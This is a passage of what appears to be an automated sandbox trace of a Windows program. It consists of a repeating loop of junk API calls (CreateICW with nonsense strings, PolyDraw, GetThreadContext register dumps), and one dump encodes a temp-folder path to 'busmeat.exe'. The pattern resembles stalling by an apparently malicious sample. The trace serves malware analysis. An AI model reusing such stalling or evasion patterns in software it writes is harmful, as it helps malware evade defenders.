[311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.112] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.113] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.113] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.113] GetConsoleCP () returned 0x0
	[0066.113] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.113] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.114] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.114] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.114] GetConsoleCP () returned 0x0
	[0066.114] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.114] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.114] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.114] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.114] GetConsoleCP () returned 0x0
	[0066.114] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, 